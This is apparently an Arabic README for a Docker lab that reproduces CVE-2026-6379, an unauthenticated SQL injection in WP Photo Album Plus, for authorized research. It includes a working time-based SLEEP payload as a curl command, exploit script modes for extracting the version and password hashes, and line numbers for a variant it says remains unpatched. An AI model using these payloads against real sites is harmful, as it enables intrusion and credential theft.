
# مجموعة مختبرية قائمة على Docker لـ CVE-2026-6379، وهي حقن SQL غير مصادق عليه في WP Photo Album Plus. تتضمن إثبات مفهوم أعمى قائم على الوقت، وتحليل السبب الجذري، والتحقق من التصحيح لأغراض البحث الأمني المصرح به.
المعامل: wppa-supersearch
الخطورة: CVSS 8.6 (عالية) وفقًا لـ WPScan/Wordfence
إصلاح البائع: 2026-04-17 (الالتزام d2b0d05d في مرآة WordPressBugBounty)
الإفصاح العام: 2026-04-27 (WPScan)
توفر لك هذه الحزمة مختبر Docker متكاملًا وPoC عمليًا حتى تتمكن من إعادة إنتاج الثغرة والتحقق منها وتعليمها من البداية إلى النهاية.
# على مضيف المختبر:
cd lab && ./setup.sh
# عندما يطبع المثبّت "=== LAB READY ===" مع page_id:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
الهدف الضعيف يرد في ~5s على استعلام SLEEP؛ الهدف المُصحح يرد في .
<1sفحص يدوي بسطر واحد:
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # هذا الملف
├── docs/
│ ├── writeup.md # تحليل السبب الجذري + تحليل التصحيح
│ └── prompts.md # مطالبات البحث بالذكاء الاصطناعي التي استخلصت هذه الحزمة
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # التشغيل / الإيقاف / التنظيف
│ └── init/install.sh # مثبّت متكرر (wp-cli)
└── pocs/
├── exploit.py # حقن SQL أعمى قائم على الوقت (probe / version / user / hash)
└── test_oracle.sh # اختبار تكامل شامل
تقوم wppa_get_photos() بتحليل معامل الطلب wppa-supersearch كملف
CSV بصيغة s1,type,s3,DATA. عندما يكون type='o' (المالك)، يتم دمج DATA
مباشرة في سلسلة SQL:
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
بدون اقتباس، وبدون $wpdb->prepare. تعيين wppa-supersearch=,o,,x' OR (...)-- -
يهرب من قيمة المالك المقتبسة وينفذ SQL عشوائيًا. نقطة النهاية هي صفحة
الواجهة الأمامية العامة التي تستضيف اختصار [wppa]، لذا لا يتطلب أي مصادقة.
يقوم الإصلاح بلف كل حالة كانت مدمجة سابقًا في $wpdb->prepare(..., %s).
d2b0d05d)يعيد تصحيح CVE-2026-6379 كتابة ستة نقاط دمج SQL مميزة داخل
wppa_get_photos() في wppa-functions.php. كلا وضعي PoC (probe و
probe-calendar) يصيبان نقاطًا مستقلة؛ والبقية تختلف فقط في شكل الحمولة.
جميعها غير مصادق عليها ويمكن الوصول إليها عبر نفس بوابة wppa-occur=N
كنقطة الدمج الأساسية.
| # | نقطة الدمج (السطر الضعيف) | معاملات التشغيل | وضع PoC |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data' (السطر 1244) | wppa-supersearch=,o,,… | --mode probe (تم التحقق منه مباشرة) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>' (السطر 1237) | wppa-supersearch=,n,,… | غير مستغل (مرشح slug يزيل الاقتباسات) |
| 3 | tag — WHERE tags LIKE '%$d%' (السطر 1254) | wppa-supersearch=,g,,… | مقيد بواسطة wppa_sanitize_tags() |
| 4 | calendar exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (السطر 1361) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar (تم التحقق منه مباشرة) |
| 5 | calendar timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (السطر 1368) | wppa-calendar=timestamp&wppa-caldate=… | تحويل رقمي (intval) — محدود |
| 6 | calendar modified — نفس timestamp (السطر 1375) | wppa-calendar=modified&wppa-caldate=… | تحويل رقمي — محدود |
الأسطر #4–#6 أزالت أيضًا جزء ORDER BY $order المعلق في نفس
الالتزام — انظر "التقوية ذات الصلة" أدناه.
كشف تدقيق أوسع لـ wppa-functions.php ضد نفس البنية الضعيفة عن نقاط دمج
خارج تصحيح CVE-2026-6379. ليست هي ما نشرته
WPScan/Wordfence، وليست جميعها قابلة للاستغلال بنفس الدرجة، لكنها
موثقة هنا حتى يكون المختبر مفيدًا أيضًا لاصطياد المتغيرات.
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — ثغرة منفصلة محتملةالحالة: موجودة في 9.1.11.001 (بعد التصحيح). لم تتم معالجتها بواسطة d2b0d05d.
مرشحة لـ CVE متابعة.
%s غير صالح لقائمة IN مفصولة بفواصل (ينتج دائمًا سلسلة واحدة
مقتبسة). يلتف المكوّن الإضافي حول ذلك بلف العبارة المجهزة
في stripslashes()، مما يزيل التهريب الذي أضافه prepare()
لتوًا — مما يعيد فتح الحقن إذا كان أي عنصر في القائمة ملوثًا من المهاجم.
مواقع تمثيلية: wppa-functions.php الأسطر 660، 711، 831، 838،
889، 895، 900، 971، 1028، 1034، 1041، 1122، 1144، 1190، 1410، 1414، 1465،
1470، 1476، 1481، 1491.
استعلام البحث لتحليل المتغيرات:
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — تمت معالجته جزئيًاأزال التصحيح ORDER BY $order من نقاط دمج التقويم/عبارات IN لكنه
أبقاه في أخرى. يتم تعيين $order من حالة تشغيل المكوّن الإضافي (جدول
الإعدادات) — يتطلب الاستغلال مسار كتابة إلى تلك الحالة. عالجه كتحصين.
wp_strip_all_tags() المستخدم كمعقّم SQL (متغير من #4)يزيل wp_strip_all_tags HTML، وليس SQL. أينما يظهر حول
جزء SQL مقتبس، يكون ذلك الجزء قابلًا للحقن. بعيدًا عن caldate، راجع
أي قيمة طلب أخرى تمر عبر هذه الدالة قبل الدمج.
| الحالة | probe | probe-calendar |
|---|---|---|
| ضعيف (9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| مُصحح (9.1.11.001) | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
| المكوّن الإضافي معطّل | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
صفحة بدون اختصار [wppa] | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
تبديل الإصدارات على مختبر قيد التشغيل:
# مُصحح:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# أعد تشغيل probe؛ يجب أن تكون النتيجة سلبية.
admin / adminadmin — لا تعرضها للإنترنت أبدًا../setup.sh purge (يحذف مجلد قاعدة البيانات).wppa-functions.php (الضعيف): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php (المُصحح): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php